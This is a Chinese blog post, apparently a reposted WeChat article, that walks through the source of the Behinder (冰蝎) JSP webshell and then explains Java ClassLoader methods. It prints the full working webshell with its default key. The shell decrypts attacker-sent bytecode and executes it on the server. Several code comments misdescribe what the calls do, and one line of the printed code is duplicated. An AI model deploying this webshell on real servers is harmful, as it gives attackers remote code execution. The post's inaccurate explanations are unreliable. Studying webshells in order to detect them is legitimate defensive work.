分析冰蝎jsp源码

admin 2022年5月30日01:23:05评论78 views字数 4497阅读14分59秒阅读模式


分析冰蝎jsp源码

分析冰蝎jsp源码



以下是冰蝎jsp的源代码

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{// classloader 类加载器    U(ClassLoader c){// 构造方法 参数为父类加载器        super(c);    }    public Class g(byte []b){// g方法调用父类加载器加载类                            // defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类,并返回该类的Class对象        return super.defineClass(b,0,b.length);    }}%><%if (request.getMethod().equals("POST"))// 校验该请求是否是POST方法{    // 定义一个已经加密好的密钥 改密钥是AES加密算法的密钥    String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/    // session.putValue方法 跟session.setAttribute方法类似,但是可以设置多个值    session.putValue("u",k);    // Cipher是加密算法的接口,它提供了加密和解密的方法 这里是实例化一个AES加密算法的密钥    Cipher c=Cipher.getInstance("AES");    // c.init 方法 这里的2 跟进代码中 是解密的意思  1是加密的意思  2 是解密 参数1是密钥  参数2是加密模式 采用AES    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));    //    new U(this.getClass().getClassLoader()).g(c.doFinal(request.getParameter("p").getBytes()))                .g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))                .newInstance().equals(pageContext);    //将代码分解    // U(this.getClass().getClassLoader()) 这里的this.getClass().getClassLoader()是获取当前类的类加载器    //.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))    // request.getReader().readLine() 这里的request.getReader().readLine()是获取请求的数据    // new sun.misc.BASE64Decoder().decodeBuffer() 这里的new sun.misc.BASE64Decoder().decodeBuffer()是将请求的数据解密    // c.doFinal() 这里的c.doFinal()是将解密后的数据进行加密 参数是解密后的数据    // newInstance() 这里的newInstance()是将加密后的数据转换成类对象    // .equals(pageContext) 这里的.equals(pageContext)是将类对象转换成字符串对象 并且比较两个字符串对象是否相等}%>

ClassLoader

ClassLoader
类加载器(class loader)用来加载 Java 类到 Java 虚拟机中。一般来说,Java 虚拟机使用 Java 类的方式如下:Java 源程序(.java 文件)在经过 Java 编译器编译之后就被转换成 Java 字节代码(.class 文件)。类加载器负责读取 Java 字节代码,并转换成 java.lang.Class类的一个实例。每个这样的实例用来表示一个 Java 类。通过此实例的 newInstance() 方法就可以创建出该类的一个对象。实际的情况可能更加复杂,比如 Java 字节代码可能是通过工具动态生成的,也可能是通过网络下载的。

defineClass

ClassLoader类的defineClass方法直接根据字节数组定义一个类
loadclass:判断是否已加载,使用双亲委派模型,请求父加载器,都为空,使用findclass
findclass:根据名称或位置加载.class字节码,然后使用defineClass
defineclass:解析定义.class字节流,返回class对象
所以他们最终都会调用defineClass

loadclass

这代码中可以看到 if (c == null) { 这里是在缓存去找是否存在 不存在在通过findclas去找 findclas

protected Class<?> loadClass(String name, boolean resolve)        throws ClassNotFoundException    {        synchronized (getClassLoadingLock(name)) {            // First, check if the class has already been loaded            Class<?> c = findLoadedClass(name);            if (c == null) {                long t0 = System.nanoTime();                try {                    if (parent != null) {                        c = parent.loadClass(name, false);                    } else {                        c = findBootstrapClassOrNull(name);                    }                } catch (ClassNotFoundException e) {                    // ClassNotFoundException thrown if class not found                    // from the non-null parent class loader                }                // 这里是在缓存去找是否存在 不存在在通过findclas去找                 if (c == null) {                    // If still not found, then invoke findClass in order                    // to find the class.                    long t1 = System.nanoTime();                    c = findClass(name);
// this is the defining class loader; record the stats sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0); sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); sun.misc.PerfCounter.getFindClasses().increment(); } } if (resolve) { resolveClass(c); } return c; } }

findclas

可以看到findclass调用的defineClass 将字节码 传入 最终返回一个class对象

protected Class<?> findClass(String name) throws ClassNotFoundException {//        return super.findClass(name);        System.out.println( "try findClass " + name);        InputStream is = null;        Class class1 = null;        try {            String classPath = name.replace(".", "\") + ".class";//            String[] fqnArr = name.split("\."); // split("."); 是不行的, 必须split("\.")//            if (fqnArr == null || fqnArr.length == 0) {//                System.out.println("ClassLoaderLK.findClass()");//                fqnArr = name.split("\.");//            } else {//                System.out.println( name  +  fqnArr.length);//            }
String classFile = path + classPath; byte[] data = getClassFileBytes(classFile ); //这里可以看到最终调用的是defineClass class1 = defineClass(name, data, 0, data.length); if (class1 == null) { System.out.println("ClassLoaderLK.findClass() ERR "); throw new ClassFormatError(); }
} catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } finally { if (is != null) { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } } return class1; }
private byte[] getClassFileBytes(String classFile) throws Exception { FileInputStream fis = new FileInputStream(classFile ); FileChannel fileC = fis.getChannel(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); WritableByteChannel outC = Channels.newChannel(baos); ByteBuffer buffer = ByteBuffer.allocateDirect(1024); while (true) { int i = fileC.read(buffer); if (i == 0 || i == -1) { break; } buffer.flip(); outC.write(buffer); buffer.clear(); } fis.close(); return baos.toByteArray(); }
}

Cipher

javax.crypto.Cipher 该框架就是为了加密解密用的 懒得分析 直接看api就可

分析冰蝎jsp源码

// c.init 方法 这里的2 跟进代码中 是解密的意思  1是加密的意思  2 是解密 参数1是密钥  参数2是加密模式 采用AES

    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

    ![](media/16538329957559/16538355048057.jpg)


简单分析 具体看上面代码注释 太菜了 大佬勿喷


原文始发于微信公众号(Web渗透测试):分析冰蝎jsp源码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月30日01:23:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分析冰蝎jsp源码https://cn-sec.com/archives/1065354.html

发表评论

匿名网友 填写信息